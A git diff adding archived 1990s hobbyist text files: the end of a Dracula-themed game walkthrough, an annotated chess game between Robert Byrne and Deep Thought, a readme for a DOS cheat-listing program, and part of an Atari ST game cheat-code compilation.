+XXV. C-Space + A. Go to F.a.t.s. + B. Talk to Melissa Van Helsing. + +XXVI. Le Phood + A. Talk to Melisa Van Helsing (have her join you). + +XXVII. Hellfire Club + A. Talk to Alexander Tennent. + +XXVIII. Van Helsings Apartment + A. Kill all Vampires. + B. Enter the second room. + C. Search area. + D. Pick up Signal Scrambler. + +XXIX. Grant's Tomb + A. Kill everyone + B. Get Green Pendant. + C. Free Alexander Tennent. + +XXX. Electric Anarchy + A. Have Chuck join you. + B. Disassmble Green Pendant. + C. Put Emerald Looker Chip into decking unit. + D. Put Tackett's Essance into decking unit. + +XXXI. C-Space + A. Go to F.a.t.s. + B. Talk to Tackett Cybervision + C. Go to "Kansas" well. + D. Talk to Sally (she will give you Incubus). + +XXXII. St. Patrick's + A. Dismiss Chuck. + B. Talk to Mother Mary (have her join you). + +XXXIII. Transtech (1122) + A. Kill everyone. + B. Talk to Dr. John Harker. + +XXXIV. C-Space + A. Enter "Elizabeth" well. + +XXXV. Game Ending + A. Fight Dracula Images (six total). + B. Fight and Kill Dracula! + C. END OF GAME!! + + +Brought to you by Matt Showalter/MicroProse Quality Assurance and +MicroProse On-Line Services - MPS*BBS (410) 785-1841. + +Copyright 1994 by MicroProse, Inc. and Spectrum Holybyte, Inc. + + + diff --git a/textfiles.com/games/byrne.txt b/textfiles.com/games/byrne.txt new file mode 100644 index 00000000..37aed42e --- /dev/null +++ b/textfiles.com/games/byrne.txt @@ -0,0 +1,485 @@ + Chess Grandmaster Robert Byrne played the world's top- + ranked chess computer a game on February 11, 1990. Following is + a user-friendly analysis of the game, intended for low and + medium ranked players. The moves will be shown in long + algebraic. + K=King, Q=Queen, B=Bishop, N=Knight, R=Rook, and P=Pawn + The board is layed out on a grid, with the White pieces + horizontally layed out from A on the left, through H on the + right. The first rank (where the White major pieces are + located) is rank 1, and it goes down to 8, which is where + Black's major pieces are located. + + For example, the initial location of the White king is + e1. The Black queen is initially on d8. A move of a piece is + indicated by giving the shorthand for the piece, followed by + the square it's coming from, followed by the square it ends up + on. So, for example, a move of the White Knight closest to the + King would be Ng1-f3. + + Special situations: a capture is indicated by an "x" + instead of the usual "-". Also, the shorthand for pawns is not + used, so a movement of a pawn is simply indicated by giving the + starting square, followed by the ending square, as in e2-e4. + + + Background: Robert Byrne is a strong Grandmaster. He is + one of the top 100 players in the world, and in the early 70's + participated in a semi-final for the world championship. + + Deep Thought calculates positions at the rate + of 1,000,000 positions per second. This gives it a tremendous + ability to navigate in positions which require broad + calculation. + + Deep Thought had White in this game: + + 1.c2-c4 ... In the opening, the aim of all strong players is + to control the center, whether by pieces or by pawns. When a + player has much better control of the center (the squares + e4,d4, e5, d5) than his opponent, he is able to use that + control to launch attacks on either side of the board, and his + opponent is cramped, and unable to match him for flexibility. + In this case, DT choose to advance the c pawn. This gives + control of the d5 square, although it does not immediately free + a diagonal for development of either bishop, as would have been + the case after 1. d2-d4 or 1. e2-e4. + + 1.... g7-g6 Black moves his g pawn, allowing to develop the + bishop on the g7 square. Such a development would place the + bishop on a strong diagonal. + + 2. Nb1-c3 White develops his knight to a strong square, from + where it controls the important d5 and e4 squares. In + conjunction with the c pawn, White now has significant control + + + + + + + + + + + + + of the d5 square. (Notice that had White first moved the Knight + out, the c pawn would have been blocked, and would have been + unable to participate in this battle for central squares). + White is delaying moving his center pawns (the e pawn or the d + pawn), preferring instead to see what his opponents intentions + are vis-a-vis pawn control of the center. + + 2.... Bf8-g7 Byrne likewise simply places his bishop on a + good diagonal, and does not commit his center pawns yet. Note + that Black now strongly controls dark squares, while White + controls light (white) squares. + + 3. g2-g3 White prepares to further intensify the pressure on + the e4 and d5 squares by putting his bishop on g2 (this process + of putting a bishop on the g2, g7, b2, or b7 squares nestled + behind a triangle of pawns is called "fianchettoing" it) + + 3..... e7-e5 Black finally strikes out with a center pawn. + He now firmly controls the d4 square, preventing DT for the + moment from advancing his own d pawn. This control comes at a + cost, of course, since now Black no longer has the option of + contesting White's control of the d5 square by making a move + such as e7-e6, since the pawn is now advanced. Byrne's + strategy, well-accepted, is to attempt to defeat DT not by + tactics, since he has a healthy respect for the machine's + calculative powers, but by trying to get into positions where + the ability to form long-range plans based on (hopefully for + Byrne) locked pawn structures where the machine is at a + disadvantage. This is because the machine is unable to form + long-range positional plans. + + 4. Bf1-g2 White also intensifies the pressure on the squares + he now controls. It is certainly possible that these moves are + all in the opening "book" (a series of pre-programmed moves) of + the computer, so that it has not had to "think" by itself yet. + + 4....Nb8-c6 Black develops a piece, and (this is beginning to + sound monotonous) controls "his" dark squares. So far, so good. + + 5. d2-d3 White plays this seemingly meek move for two + reasons. First, DT wants to open a line for the potential + development of his queen bishop on the newly opened diagonal. + Second, White wants to solidify the pawn chain e2-d3-c4, and + reduce the possibility of Black playing the move e5-e4 at some + point after White has played out his king knight to the square + f3, which would force the knight to have to move again, and + White would lose time repositioning it. + + 5..... f7-f5 Black plays aggressively. He increases control + over e4. It is at a time like this that a Grandmaster decides + on a long range plan. Where does each sides' chances lie? + + Well, White has more control currently of queenside + squares (his bishop is pointing in that direction, and he has a + + + + + + + + + + + + + pawn on c4). Black, on the other hand, has morecontrol on the + kingside, and so he will try to "mix it up" there. In slow + moving games, it is advisable to try to mix things up in an + area where you have more control of squares or more pieces, + since the opponent will not be able to fight as strongly, due + to his local disadvantage. + + 6. e2-e3 White gets a little control bck over his d4 square, + but blocks in his queen bishop. He is also creating a few + weaknesses on light squares in the kingside area (for example, + were the bishop on g2 to disappear, Black could infiltrate + pices on these white squares which now lack pawn protection). + + 6.... Ng8-f6 Black develops the knight to a good square, and + prepares to castle. + + 7.Ng1-e2 ... White develops his knight to a somewhat less- + influential square. Why not to f3? Well, since White is not a + person, but a computer, it is not really "afraid" to move to + f3, which would be a more active square. White, however, + probably "sees" that at some point Black might play the move + e5-e4, forcing the knight to move. This would be uncomfortable, + since there aren't any great squares to move to after that. + Also, White wants to keep the diagonal open for his king bishop + for as long as possible. Computers are "rewarded" in their move + evaluation algorithms for moves which give maximum pice + mobility and control of squares. + + 7..... o-o This means "castle" This is a protective move + which occurs once in a game for each side, and two pieces, the + rook and the king, move simultaneously. The advantage of such a + move is that the king is usually placed into greater safety, + and the rook is more or less mobilized. Both these concepts are + important in a game in which the object of the game is to mate + the opponents' king, and if the king stays on the e file, he is + likely to catch a death of cold if central lines are opened at + some point. It is usually better to castle sooner rather than + later, since later might be too late. + The move means the king now occupies the square + g8 and the rook now occupies the square f8. + + 8.f2-f4 White strikes at the Black control of the center + with this move. If Black were to capture by playing e5xf4, + White would capture back with e3xf4, and now the Black control + of the dark squares would be reduced. The disadvantage of this + move is that White's 'e' pawn now lacks protection by it's + brother, and the squares around the kingside are further + weakened. Black's fianchettoed king position, on the other + hand, is relatively safe. + + 8......d7-d6 Black solidifies his pawn chain, and gives the + 'e' pawn greater support. He also opens up the diagonal for his + queen bishop, threatening to play Bc8-e6, contesting White's + control of the light squares in the center. + + + + + + + + + + + + + + 9. Qd1-b3? A bad move. First, ANY move with a Queen should + be very carefully considered. The queen is the strongest piece + on the board, and radiates power wherever placed. Here, DT has + the right idea (to pressurize the queenside) but this idea + should be carried out with a pawn march, starting with Ra1-b1, + and then b2-b4, and b4-b5. The queen cannot do it by herself, + and is vulnerable to attacks by Black's minor pieces, from whom + she would have to retreat. DT probably wanted to threaten the + 'b' pawn, to stop the bishop from being developed, and it was + also lured by the potentials resulting from a check by c4-c5. + Black's next move removes the check possibilities. + + 9..... Kg8-h8 The king goes into the corner, a safe snuggly + place. + + 10 o-o White castles, the king is now on g1, and the + rook on f1. + + 10..... Nc6-e7 Black repositions the knight to control d5, + and to prepare possible pawn control of d5 by c7-c6. + + 11. c4-c5 Dubious. Of course not 11.Bg2xb7, (apparently + winning a pawn) because of Ra8-b8, pinning the bishop against + the queen, and winning it next move). + + 11..... c7-c6 Black establishes pawn control of d5. + + 12.c5xd6 With this move, White permits Black the + potential of pressuring his 'd' pawn, since the pawn will now + be on an open file. + + 12...... Qd8xd6 White's 'd' pawn is now attacked, and he + still faces an interesting problem of how to develop his queen + bishop. + + 13. f4xe5?! .... Dubious. Deep Thought, as is the want of many + computers (including my Mephisto 68000xl) takes the tactical + way out. It doesn't realize that now BOTH the 'd' and 'e' pawns + can be subject to attack along the 'd' and 'e' files. And if + either pawn were to move up, then the square in front of the + other that the former controlled becomes weak. For example, if + White were at some point to play d3-d4, then the e4 square + becomes very weak. Byrne never quite gets the chance to do + this, however. + + 13... Qd6xe5 Black's only concern is to find good squares + to put his queen and the knight on e7. Then, he can begin the + process of pressuring the 'd' and'e' pawns. + + 14. Ne2-f4 The knight finds a square, but it's not + attacking anything, really. I suspect that DT's main concern + was to stop Byrne from playing Bc8-e6 sometime in the next few + moves, which would force the White queen to move + + + + + + + + + + + + + + 14..... g6-g5 This forces the knight to move away, and also + to be out of play for a while, but it loosens the pawn cover + surrounding the black king, and weakens the pawn protection of + the f5 pawn. + + 15. Nf4-h3 White thereby gains a tempo by attacking the 'g' + pawn, but the knight now requires a few tempos to re-deploy. + A human would have found it humiliating to retreat back to e2, + though a computer shouldn't. A benefit of the move, however, is + that to protect the 'g' pawn, Black must again move a pawn + which is part of the circumference of pawns guarding his king, + a further weakening. And the 'f' pawn will continue to require + attention. + + 15..... h7-h6 The light squares around the black king are now + pretty weak (read: not guarded by pawns anymore). + + 16.Bc1-d2 White makes motions to at least move his queen + bishop off the last rank, sort of a development. The move does + connect the white rooks, and premits the queen rook to + participate in the game. + + 16....... b7-b6 If I were black, this is where I would think + for a while. Black has pressure on the central white pawns, but + he has his own weak 'f' pawn to consider also. Oneof his prime + concerns must be to develop the queen bishop, and also the + queen rook. But if Black were to move the queen bishop right + away, he would lose the 'b' pawn to white's queen. Black could + have played Qe5-c7 to protect the 'b' pawn, but he wants to + somehow play Bc8-e6, which would gain a tempo by attacking the + white queen. If he played Qe5-c7, then the bishop could never + move to e6. So, Black first plays b7-b6, moving the pawn to a + square from which it is protected by the black 'a" pawn, + freeing the bishop to move. A dark side of the pawn move, + however, is that now the White king bishop is pressing against + the 'c' pawn. A fresh weakness is created in Black's camp. + + 17. Qb3-a3! Good move. The queen voluntarily relocates, + this time grabbing a nice diagonal leading to the knight on e7, + which finds itself soon remarkably berift of protection. + + 17....... a7-a5?! Black changes his mind. The move Bc8-e6 + would not accomplish all that much now (though it would mean + that the bishop would continue to protect the 'f' pawn). + Instead, Black plots to play Bc8-a6, which would attack the + white 'd' pawn, and behind it the rook. But, now the 'b' pawn + is weakened, and White seizes on this fresh weakness. + + 18. Na4 The 'b' pawn is now attacked, and if it moves, + the square c5 becomes available for posting white's knight. + + 18....... Rb8 The pawn must be protected, and the + alternatives for doing so are not great. Ra8-a6 is totally + + + + + + + + + + + + + awkward, Qe5-c7 gives white the chance to pile on the 'c' pawn + some more, by Ra1-c1. Note that Qe5-b8 would lose the knight on + e7 to the qhite queen, a recurrent theme in the next few moves. + + 19. Nh3-f2 White takes a moment to relocate the knight to + a better square, which protects the 'd' pawn in anticipation of + Black's next move. He also does not want his king quite so + exposed to possible checks. + + 19..... Bc8-a6 The bishop comes out. + + 20 Bd2-c3 The bishop finds an active square, and controls + important center squares and opposes the other bishop on the + long diagonal. He is also laying the foundation for a little + combination. + + 20...... Qe5-e6 The knight must be protected! + + 21. Bc3xa5 If Black simply recaptures the bishop by + b6xa5, then white plays Na4-c5, attacking the black queen and + the bishop on a6, and the black queen has no square to go to + from which she will keep protecting both the bishop on a6, and + the knight on e7. Therefore, one of them will fall, and white + will have won a pawn after the complications. + + 21........ Ba6xd3 In order to not come out a pawn down in the + 'desperado' complications. + + 22. Nf2xd3 Surprise! White does not play Qa3xd3, which + seems to be necessary in order to stop Black from playing + Qe6xe3 WITH CHECK, followed by THEN taking the bishop on a5. + + 22....... b6xa5 If instead black carries out the "threat" by + playing Qe6xe3 check, and then b6xa5, then the sequence would + go 22....Qe6xe3check 23 Kg1-h1 b6xa5 24 Ra1-e1! followed by + Re1xe7, and White ends up a piece ahead! + + 23. Ra1-e1 White takes the time to protect the 'e' pawn + for the future. The square 'c5' is now a great spot for either + of White's knights. + + 23...... Ne7-d5 Black finally moves the accursed knight, to + a central square, but White's pieces find much greater scope. + + 24.Na4-c5 ...... Black's queen is attacked, and Black must + give way. Finally, Black's pawns are weaker than White's, and + the White bishop is very strong. + + 24...... Qe6-c8 The only square from which the f5 pawn is + still protected, but now the other knight jumps into a strong + square, attacking the weakend light squares on the kingside. + + 25. Nd3-e5 White threatens Ne5-g6 check, winning the + rook on f8 for only a knight. This would be a winning advantage + + + + + + + + + + + + + in material, since a knight is worth only 3 pawns, while a rook + is worth 5 pawns. + + 25......Rb8-b5 At first glance, this is incomprehensible, + since it allows White to carry out his threat of Ne5-g6 check. + But Black thinks he has seen further than the computer. He + thinks that after the knight on g6 captures the rook, when + black takes back with the bishop, the white knight on c5 will + be lost, since it will be attacked many times, and pinned to + the white queen. But the computer has seen further. + + Incidentally, if Black had stopped Ne5-g6 in + other ways, he would not have had an easy game either. For + example, if he had played Kh8-h7 in order to control g6, then + Qa3-d3 would have been very sstrong, pinning the f5 pawn + against the black king. Kh8-g8 lets the knight in to g6 also, + though not as immediately seriously as in the game. + + 26. Ne5-g6! White wins the rook for the knight! (Also known + as "winning the exchange") + + 26...... Kh8-h7 Kh8-g8 might have been better, although I + don't really know. + + 27. Ng6xf8 Bg7xf8 Byrne's "point" of giving up the + exchange. He hopes to win that c5 knight. If he does, then he + would have given up a rook for a knight and a bishop, an + advantageous scenario for him. + + 28. Re1-c1 White immediately protects the knight + again. But Black can attack it again. This is the kind of + situation where one is appreciative of the ability to count, as + taught in the 1st grade. + + 28........ Nf6-d7 The knight is now attacked three times, + and it does not seem that it can be profitably defended again. + But now White strikes from a different direction... + + 29. Bg2-h3!! Byrne may have thought that he did not + need to consider this move since he can just play g5-g4, but he + can't. White now threatens Bh3xf5 check, followed by Bf5xd7 + winning humongous material. The weak f5 pawn!! + + 29...... g5-g4 "Show me," Byrne says. The computer + obliges. But there was no other defense in any case. + + 30. Bh3xg4!! In a blaze of glory. White renews his + threat of Bxf5. But what if f5xg4? + + 31...... f5xg4 + + 32. Qa3-d3! check + + 32....... Byrne RESIGNS + + + + + + + + + + + + + + If 32....Kh7-h8, then 33 Nc5xd7, followed by + Rf1xf8 check, winning an entire knight (an overwhelming + advantage) + + If 32....Kh7-g8, then 33. Qd3-g6 check, and then + if 33....Bf8-g7, then 34. Nc5-e6 with a fast checkmate, while + if 33....Kg8-h8, then 34 Nc5xd7, followed by Rf1xf8 check, as + above + + If 32....Kh7-g7, then 33. Nc5-e6 check, followed + by 34. Qd3xb5, and if c6xb5, then Rc1xc8, having won a whole + rook. + + + For more information about chess in general, and how one can + get a national rating and play in tournaments, you can send me + a msg via BBS's in New York, or through the chess conferences + on RIME and Internet. Also, write to the US Chess Federation + (U.S.C.F.) at 186 Route 9w, New Windsor, N.Y. 12550. + Best, Israel A. Silverman + + Play chess!!!  \ No newline at end of file diff --git a/textfiles.com/games/cheat.txt b/textfiles.com/games/cheat.txt new file mode 100644 index 00000000..fb2bd277 --- /dev/null +++ b/textfiles.com/games/cheat.txt @@ -0,0 +1,131 @@ + + + + + + + + CHEAT: + Secret Backdoors and Debug Codes the Programmers + Don't Want You to Know About + + + + + + + By Mike Zier, Fido 1:272/169 + + + + + Mike Zier + P.O. Box 546 + Smallwood, NY 12778-0546 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +** What is CHEAT? + + +CHEAT is a listing of cheats for IBM/MS-DOS computer games. Debugging +commands, secret commands, and whatever else can enable you to cheat +in these games. + +However, you won't find any level codes or trainer-style programs +here... they aren't real cheats. + + + +** How do I load the program? + + +At the command prompt (that thing that looks remotely like C:\>) type +CHEAT and press enter. + +On screen instructions are given from that point on. I hope it's +self-explanatory.... + + + +** Where do I report bugs, comments, suggestions, and +** submissions? + + +The official support BBS is The Cult of the Tentacle. A 28.8k modem is +online 24 hours a day to serve your gaming needs. + +You can also freq CHEAT from 1:272/169. + + + +** Disclaimer + + +I cannot be held responsible for the results of any cheats described +in this list. In most cases, the game companies intended these cheats +for internal use only, they have the chance of being destructive. +Known limitations are listed, when possible . + +As for this program, if it blows up your computer, I am not +responsible for that either. Sorry. + + + +** Copyright statements and what-not + + +This program, documentation, and all related services are (c) +Copyright 1993-1995 Mike Zier, All rights reserved. + +I have no problem with the spread of the information contained within, +but if you are using them in your own project please inform me. You +may NOT duplicate this work or a large percentage of it for your own +personal gain. + + + + + + + diff --git a/textfiles.com/games/cheats.txt b/textfiles.com/games/cheats.txt new file mode 100644 index 00000000..d3f85976 --- /dev/null +++ b/textfiles.com/games/cheats.txt @@ -0,0 +1,1572 @@ +Zenobot's ST game cheats compilation (updated +10-24-91): +-8© +New entries are preceded by -*-. +Cheats I have successfully tested are indicated by (X). + + + +Action Fighter (Firebird): get a high score and enter ZBACKDOOR on the +high score list. Start another game and enjoy your infinite lives and energy. + +-*- Addictaball (Alligata): before pressing the Spacebar, type IJC and the +screen will turn black. Hit the appropriate function key to go to any level. + +-*- Advanced Rugby Simulator (Codemasters): before pressing the fire button +after scoring a try, hit F1. This takes you back to the match. Now, press +fire and another try will be added to your score. You can repeat this until +you're eventually tackled later on. + +(X) Afterburner (Activision): start the game, press Backspace to pause, type +THUNDERBLADE. Pressing G gives you more missiles, T less missiles (huh?), N +more lives, < down one level, > up one level. +If you type AGES (SEGA backwards) instead, only < and > are active... + +(X) After The War (Dinamic): the second level access code is 101069. +Pressing Alt, 1 and D will make you invincible on the first level. +Pressing Alt, 1 and J will make you invincible on the second level. + +Archipelagos (Fanfare): when asked to select an island, choose 8421, +then press Enter twice. You can now select any island you want! +Archipelago 5942 is supposed to be very interesting. + +(X) Arkanoid (Taito/Imagine): while the game is loading, hold down Caps Lock +and type DEATHSTAR. You can now skip levels by pushing the S key. + +(X) Arkanoid: Revenge Of Doh (Imagine): typing MAGENTA at the pinkish loading +screen will let you skip levels by pressing S. + +-*- Army Moves (Dinamix): the code for part 2 is 101069. +In part 1, hold down Alt 1 D for immunity, and for part 2, hold down +Alt 1 J. + +Astro Marine Corps (AMC) (Dinamic): these are level codes for the Amiga +version, they might work on the ST: +Nostromo, Discovery, Enterprise, Dagobah, Replicant, Krull, Metropolis. + +Atomic Robo-Kid (Activision): on the title screen, enter TUESDAY 14TH. +When you press the fire button, a menu will pop up from which you can choose +infinite weapons and other neat stuff. + +-*- Atomino (Psygnosis): level access codes: +Level 10 ACID, 20 ARROW, 30 EMISSION, 40 LAVA, 50 CAVE, 60 ELIXIR, 70 BONE, +80 WOOD, 90 FOUNTAIN, and 100 GETWISE. + +-*- Atomix (Thalion): press Help to enter the password. Type in TIME to +freeze the clock. + +-*- Awesome (Psygnosis): when you get to the screen that lets you juggle with +your shield and weapon energy levels, move the cursor over to shield. +If you hold down + on the keypad and press fire, you will be able to get +all possible weapons by hitting F1 through F10. +When you're done, pressing F6 will replenish your energy. + +-*- Axel's Magic Hammer (Gremlin): here's a funky "continue game" option. +Take the disk out of the drive and hit the fire button to start the game. +All the blocks you destroyed in the previous game are still destroyed! + +(X) Baal (Psyclapse): here are all the coordinates of all the jetpack +platforms, in the order you should go to them to finish the game. +X/Y, X being width and Y being height: +Level 1: 31/16 (cartridge 2), 02/25, 52/30 (cartridge 3), 51/00, 24/38, 62/13, +02/50, 64/49, 33/58 (exit to level 2). +Level 2: 34/30, 54/12 (cartridge 4), 16/12, 00/24, 03/34, 30/47, 54/12 +(exit to level 3). +The jetpack isn't used on level 3. +Also, you can access the game's built-in trainer mode. Get a high score and +enter LOVEBUNDLE. + +Back To The Future II (Imageworks): pause the game and type THE ONLY NEAT +THING TO DO. The game will reset. You now have infinite lives. + +-*- Back To The Future III (Imageworks): type these cheats in during the story +before the chosen level starts: +Level 1 - ROTTEN CHEAT. +Level 2 - LOUSY CHEAT. +Level 3 - LOW DOWN CHEAT. + +Barbarian (Psygnosis): enter 04-08-59 on the keypad. You are now invincible! + +Barbarian II (Palace): step-by-step walk-thru: +Level 1: left, left, right seven times, left, right, left, in the cave, +and right. +Level 2: right, up, left, up, left, left, right, left three times, up, +and left. +Level 3: up, right, right, up, left, right, up, right, left, left, up, left, +left, up, up, right, right, left, left, up. +Level 4: hit the fireballs, then try to leap across. Several low chops will +destroy it. Next is the Pit Demon; when he reaches out, use an overhead chop +to hit his arms; repeat until death. Next, Drax himself! Wait until he pauses +between spells, and hit him with a flying head chop! The End... + +Batman The Movie (Ocean): while the intro screen is displayed, hold down +Shift and type MAJ©. The words "CHEAT MODE" should appear at the top left +of the screen. You now have unlimited lives and you can skip to the next level +by pressing F10... + +-*- Battle Valley (Hewson): type ROGER MELLIE THE MAN ON THE TELE and you +have infinite lives. + +Beach Volley (Ocean): type DADDY BRACEY to activate the cheat mode, then +hit F1 to skip levels. + +(X) Better Dead Than Alien (Electra): level access codes: +level 14 - Triptych, 15 jabberwocky, 16 whimsical, 17 cornucopia, 18 punjabi, +19 tiddly pom, 20 kewpie doll, 21 sepulchre, 22 euphemism, 23 grammarian, +24 crossword, 25 quarantine. + +Beverly Hills Cop (Tynesoft): on the Select Difficulty Level screen, type +MELLIE. You can now choose which level to start on. + +Bio Challenge (Delphine): press Esc to pause the game and press G to advance +to the end of level guardian. + +Black Tiger (US Gold): when the game asks you for disk 2, put in a blank +disk!! The game will work normally, except for the fact that there ain't no +more enemies!! + +(X) Blood Money (Psygnosis): press F4 for Impatient then quickly hold down S. +The screen should stay black. Now enter PONDULIX FOR PM (with the spaces). +Each time you press a key, the border color should change slightly. Hit F4. +During play, press HELP to toggle the cheat mode on and off. You have infinite +lives and the cheat mode is off every time you enter a new level. +Press these keys on the keypad for assorted goodies: +1 gives more (blood) money to player 1, 2 gives more money to 2, 4 makes +player 1 go to the shop, 5 makes player 2 go shopping, DELETE makes everybody +go to the next level provided you got the dough. + +-*- Bloodwych (Imageworks): go through the normal buying process but when it +comes to actually paying the creature, don't put money in the transfer slot. +Drop in any other item instead. The creature will tell you it's a pathetic +price but will give you what you want anyway. + +(X) Bombuzal (Imageworks): when reaching a new level, it's worthwhile to +sacrifice a life to see the explosion pattern. +When trying to detonate a pulsing bomb, pick it up; it's easier to see its +size. +You are invulnerable to explosions when teleporting, so use it to your +advantage! +A blind droid can't activate switches. +Here's a complete list of the level access codes: +ROSS 8, RATT 16, LISA 24, SINK 28, DAVE 32, BIKE 36, IRON 40, BIRD 44, +LEAD 48, TAPE 52, WEED 56, VASE 60, RING 64, PILL, 68, GIRL 72, SPOT 76, +GOLD 80, PALM 84, OPAL 88, LOCK 92, SONG 96, SAFE 100, FIRE 104, WORM 108, +LAMP 112, TREE 120... + +-*- Brat (Imageworks): level access passwords: +level 1 BISHIGMO, 2 MIHEMOTO, 3 SASUTOZO, 4 SUMATZEE, 5 NOKITAGO, 6 ITSANONO, +7 MOZIMATO, 8 HOZITOMO, 9 MOKITEMO, 10 ZUMOHATO, 11 CHANASTU, 12 NAGAITSU. + +-*- BSS Jane Seymour (Gremlin): level access codes: +level 1 BSS, 2 JANE, 3 SEYMOUR, 4 BY, 5 DOCTOR, 6 DINOSAUR, 7 AND, 8 GREMLIN, +9 GRAEME, 10 ROB. +If those codes don't work, try these: +level 2 SLUMBER, 3 INTEREST, 4 BULKHEAD, 5 SHOWROOM, 6 MUSHBASH. + +(X) Bubble Bobble (Firebird/Taito): hold down the fire button after losing your +last life, and you should get another set of lives, though your score will be +reset. More hints: +While in the first screen, bubble the first two monsters and then fill the +screen with hundreds of bubbles. Bubble and burst the remaining monster and +the remaining bubbles should turn into fruit (usually bananas), each of which +is worth 500 points. +Beating level 100: jump on the small platforms to collect all the green potion +bottles. they will give you lightning bolts. Jump down alongside the wall and +let that monster have it!! After 100 hits, he will turn into a bubble. Pop him +and you've done it! + +-*- Builderland (Loriciel): level access codes: +Level 1 BUILD1, 2 YOTTHA, 3 BEARBY, 4 OCTOPY, 5 DIABLO, 6 GOTIUS. + +-*- Cabal (Ocean): type SCHLIKA during the game and wait for the border to +flash. Pressing F2 advances you one level forward. + +Captain Blood (Infogrames): during hyperspace, hold down the left mouse button, +and right-click repeatedly. This will shorten the hyperspace sequence. +And now, the complete walk-thru: +Go see Buggol (Planet Mind 137). Land and tell him "me want vote". He will tell +you of another Buggol called morlok who lives on planet Rosko 1. Keep talking +until you get the coordinates. Go see Morlok. Say to him:" me not vote Morlok, +me want Yukas president". He will give you the coordinates of a planet called +Female 021. Go and destroy it. Come back to Rosko 1. He will now give you the +coordinates of a planet where an Ondoyante is kept prisoner (you didn't need to +go there, though...). Go to exterior view and destroy Rosko 1. Go back to Mind +137, and go see the Buggol. He now dislikes you intensely, and will give you +the coordinates of Rosko 2. Go there, and teleport the Buggol into your ship. +Find an uninhabited planet, and teleport him there. He will say the planet is +good-looking and, if you ask "me want know coordinates planet number = Blood", +he will give you the coordinates to find number 2. +Go there, land, and say you like him, and will not kill him. You must also get +three sets of coordinates from him before disintegrating him (having made sure +you saved the game beforehand). Now go around using this method to get the +coordinates out of the numbers, always killing them before you move on. +Kill the last one, and you win! +That was the walk-thru. Now here's a trick: at the start of the game you will +automatically be in orbit around an alien planet. Transport down and try to +find an alien, preferably Yuko, if it isn't Yuko, it may be best to restart the +game as he is the key to the game. Talk to Yuko about his father, Maxon, and +you will find he is in prison. He will also give you the coordinates for +Croolis Ulv, where you will find another alien. While you are talking to Yuko, +he will give you the code 1010; this always remains the same. Go to Croolis Ulv +and you will be given the co-ordinates for Croolis Var. Go there and destroy +it, then go back to Croolis-Ulv. The alien will now be nice to you, keep +talking to him and you will get the coordinates for the Forbidden planet. +Go to the Forbidden planet (Sinox), and you will meet a guardian robot. Give +him the code you received from Yuko. Now watch what happens. + +(X) Carrier Command (Rainbird): While in the Walrus arming menu, select nine +Harbinger surface to surface missiles and put them in the AAV. Select the +Avatar Chemical Laser and place it over the missiles. Then select the pod you +want (ACCB, Virus Bomb, Fuel) and place it in the AAV. Then, when you've +launched the AAV, look at it's weapons and you'll find you have BOTH missiles +and laser! On returning to the carrier any missiles you have left will be +added to the ship's stores. Carry on doing this and hundreds of missiles can +be yours. +Another cheat: while in the pause mode, type "GROW OLD ALONG WITH ME" +(include the spaces). You should now see the message "Cheat mode active". +Pressing the + key on the numeric keypad protects your Mantas and AAVS +from missile attacks. The - key can be used to turn this off. +Pressing the following keys in sequence: 'Help', Q, S, Control, Alternate, +gives you a little message. Pressing the 9 on the keypad displays the current +level. 8 displays the frame rate, 6 displays the palette. +Returning to the title screen, press the + and - keys to view all objects in +the game. + +Car-Vup (Core): get a high score and enter one of these: +PUSSYCAT gives you 9 lives, BUMPER gives you temporary invulnerability, +WHOOPSIE (or WHOOPS) takes you to the last level (prehistoric). + +Chariots Of Wrath (Impressions): hit "." on the keyboard repeatedly, and +you'll get infinite lives. While you're in the spaceship mode, hit the function +keys to get weapons. When you have a weapon, press * or 8 (both on the keypad) +to power it up. +Or, move the joystick forward when you're instructed to press Fire to start. +You get infinite lives. + +Chase HQ (Ocean): as soon as the title screen has disappeared, hit the space +bar several times at high speed until the game is through loading and the +game starts. You should now be able to drive at 1,000 kmh, among other things. +Or, hold down the fire button and left mouse button simultaneously, and type +GROWLER to activate the cheat mode. Now, whenever you press "T", it resets +the clock to 60 seconds... + +-*- (X) Chip's Challenge (US Gold): level access codes, all 144 of 'em!!! +Level 1 Lesson 1 BDHP, 2 Lesson 2 JXMJ, 3 Lesson 3 ECBQ, 4 Lesson 4 YMCJ, +5 Lesson 5 TQKB, 6 Lesson 6 WNLP, 7 Lesson 7 FXQO, 8 Lesson 8 NHAG, +9 Nuts And Bolts KCRE, 10 Brushfire VUWS, 11 Trinity CNPE, 12 Hunt WVHI, +13 Southpole OCKS, 14 Teleblock BDTY, 15 Elementary COZQ, 16 Cellblocked SKKK, +17 Nice Day AJMG, 18 Castle Moat HMJL, 19 Digger MRHR, 20 Tossed Salad KGFP, +21 Iceberg UGRW, 22 Forced Entry WZIN, 23 Blobnet HUVE, 24 Oorto Gelo UNIZ, +25 Blink PQGV, 26 Chchchips YUYJ, 27 Go With The Flow IGGZ, 28 Ping Pong UJDD, +29 Arctic Flow QGOL, 30 Mish Mesh BQZP, 31 Knot RYMS, 32 Scavenger Hunt PEFS, +33 On The Rocks BQSN, 34 Cypher NQFI, 35 Lemmings VDTM, 36 Ladder NXIS, +37 Seeing Stars VQNK, 38 Sampler BIFA, 39 Glut ICXY, 40 Floorgasborg YWFH, +41 I.C. You GKWD, 42 Beware Of Bug LMFU, 43 Lock Block UJDP, +44 Refraction TXHL, 45 Monsterlab OVPZ, 46 Three Doors HDQJ, +47 Pier Seven LXPP, 48 Mugger Square JYSF, 49 Problems PPXI, 50 Dig Dirt QBDH, +51 I Slide IGGJ, 52 The Last Laugh PPHT, 53 Traffic Cop CGNX, 54 Grail ZMGC, +55 Potpourri SJES, 56 Deep Freeze FCJE, 57 Strange Maze UBXU, +58 Loop Around YBLT, 59 Hidden Danger BLDM, 60 Scoundrel ZYV?, 61 Rink RMOW, +62 Slow Mo TIGW, 63 Block Factory GOHX, 64 Spooks IJPQ, 65 Amsterdam UPUN, +66 Victim ZIKZ, 67 Chip Mine GGJA, 68 Eeny Miny Moe RTDI, 69 Bounce City NLLY, +70 Night Mare GCCG, 71 Corridor LAJM, 72 Blind Alley, 73 Morton QCCR, +74 Playtime MKNH, 75 Steam MJDV, 76 Fourplex NMRH, 77 Invincible Champion FHIF, +78 Force Square GRMO, 79 Drawn And Quartered JINU, 80 Vanishing Act EVUG, +81 Writer's Block SCWF, 82 Socialist Action LLIO, 83 Up The Block OVPJ, +84 Wars UVEO, 85 Telenet LEBX, 86 Suicide FLHH, 87 Cityblock YJYS, 